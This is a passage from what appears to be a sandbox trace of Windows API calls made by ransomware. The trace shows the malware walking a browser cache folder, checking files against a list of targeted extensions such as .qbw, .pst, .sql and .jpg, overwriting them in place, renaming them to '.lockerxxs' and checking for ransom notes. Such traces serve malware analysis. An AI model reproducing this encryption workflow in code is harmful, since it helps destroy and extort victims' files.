HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.889] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x912 [0082.889] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5348e0b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5348e0b0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5348e0b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.889] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.889] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8ec, lpOverlapped=0x0) returned 1 [0082.891] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg") returned="BBBLdzQ[1].jpg" [0082.891] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.891] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8ec, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8ec, lpOverlapped=0x0) returned 1 [0082.892] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.892] CloseHandle (hObject=0xa4) returned 1 [0082.892] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbldzq[1].jpg.lockerxxs")) returned 1 [0082.893] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x532eb190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x532eb190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x532eb190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBO1mQ[1].jpg", cAlternateFileName="BBBO1M~1.JPG")) returned 1 [0082.893] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.893] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBO1mQ[1].jpg") returned 1 [0082.893] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBO1mQ[1].jpg") returned 1 [0082.893] lstrcmpiA (lpString1="", lpString2="BBBO1mQ[1].jpg") returned -1 [0082.893] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg") returned="BBBLdzQ[1].jpg" [0082.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.893] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.893] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.893] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.893] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBO1mQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" [0082.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.ems") returned 0 [0082.893] lstrlenA (lpString="*.ems") returned 5 [0082.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.db") returned 0 [0082.893] lstrlenA (lpString="*.db") returned 4 [0082.893] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.dbf") returned 0 [0082.894] lstrlenA (lpString="*.dbf") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.myox") returned 0 [0082.894] lstrlenA (lpString="*.myox") returned 6 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.myo") returned 0 [0082.894] lstrlenA (lpString="*.myo") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qbw") returned 0 [0082.894] lstrlenA (lpString="*.qbw") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qbb") returned 0 [0082.894] lstrlenA (lpString="*.qbb") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qbm") returned 0 [0082.894] lstrlenA (lpString="*.qbm") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qbo") returned 0 [0082.894] lstrlenA (lpString="*.qbo") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qbx") returned 0 [0082.894] lstrlenA (lpString="*.qbx") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qba") returned 0 [0082.894] lstrlenA (lpString="*.qba") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qby") returned 0 [0082.894] lstrlenA (lpString="*.qby") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qbj") returned 0 [0082.894] lstrlenA (lpString="*.qbj") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.ofx") returned 0 [0082.894] lstrlenA (lpString="*.ofx") returned 5 [0082.894] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.qif") returned 0 [0082.894] lstrlenA (lpString="*.qif") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.mye") returned 0 [0082.895] lstrlenA (lpString="*.mye") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.mbox") returned 0 [0082.895] lstrlenA (lpString="*.mbox") returned 6 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.eml") returned 0 [0082.895] lstrlenA (lpString="*.eml") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.pst") returned 0 [0082.895] lstrlenA (lpString="*.pst") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.ost") returned 0 [0082.895] lstrlenA (lpString="*.ost") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.idx") returned 0 [0082.895] lstrlenA (lpString="*.idx") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.dbx") returned 0 [0082.895] lstrlenA (lpString="*.dbx") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.sql") returned 0 [0082.895] lstrlenA (lpString="*.sql") returned 5 [0082.895] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.mdb") returned 0 [0082.896] lstrlenA (lpString="*.mdb") returned 5 [0082.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.fdb") returned 0 [0082.896] lstrlenA (lpString="*.fdb") returned 5 [0082.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.wab") returned 0 [0082.896] lstrlenA (lpString="*.wab") returned 5 [0082.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.dat") returned 0 [0082.896] lstrlenA (lpString="*.dat") returned 5 [0082.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.txt") returned 0 [0082.896] lstrlenA (lpString="*.txt") returned 5 [0082.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.jpeg") returned 0 [0082.896] lstrlenA (lpString="*.jpeg") returned 6 [0082.896] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", pszSpec="*.jpg") returned 1 [0082.896] lstrlenA (lpString="*.jpg") returned 5 [0082.896] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" [0082.896] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" [0082.896] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg." [0082.896] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.lockerxxs" [0082.896] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.897] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6e8 [0082.897] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x532eb190, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x532eb190, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x532eb190, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.897] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.897] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6c2, lpOverlapped=0x0) returned 1 [0082.899] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg") returned="BBBO1mQ[1].jpg" [0082.899] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.899] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6c2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6c2, lpOverlapped=0x0) returned 1 [0082.899] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.899] CloseHandle (hObject=0xa4) returned 1 [0082.899] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1mq[1].jpg.lockerxxs")) returned 1 [0082.900] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x537add90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x537add90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x537add90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x36d2, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBO1qB[1].jpg", cAlternateFileName="BBBO1Q~1.JPG")) returned 1 [0082.900] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.900] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBO1qB[1].jpg") returned 1 [0082.900] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBO1qB[1].jpg") returned 1 [0082.900] lstrcmpiA (lpString1="", lpString2="BBBO1qB[1].jpg") returned -1 [0082.901] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1mQ[1].jpg") returned="BBBO1mQ[1].jpg" [0082.901] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.901] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.901] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.901] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.901] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBO1qB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.ems") returned 0 [0082.901] lstrlenA (lpString="*.ems") returned 5 [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.db") returned 0 [0082.901] lstrlenA (lpString="*.db") returned 4 [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.dbf") returned 0 [0082.901] lstrlenA (lpString="*.dbf") returned 5 [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.myox") returned 0 [0082.901] lstrlenA (lpString="*.myox") returned 6 [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.myo") returned 0 [0082.901] lstrlenA (lpString="*.myo") returned 5 [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qbw") returned 0 [0082.901] lstrlenA (lpString="*.qbw") returned 5 [0082.901] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 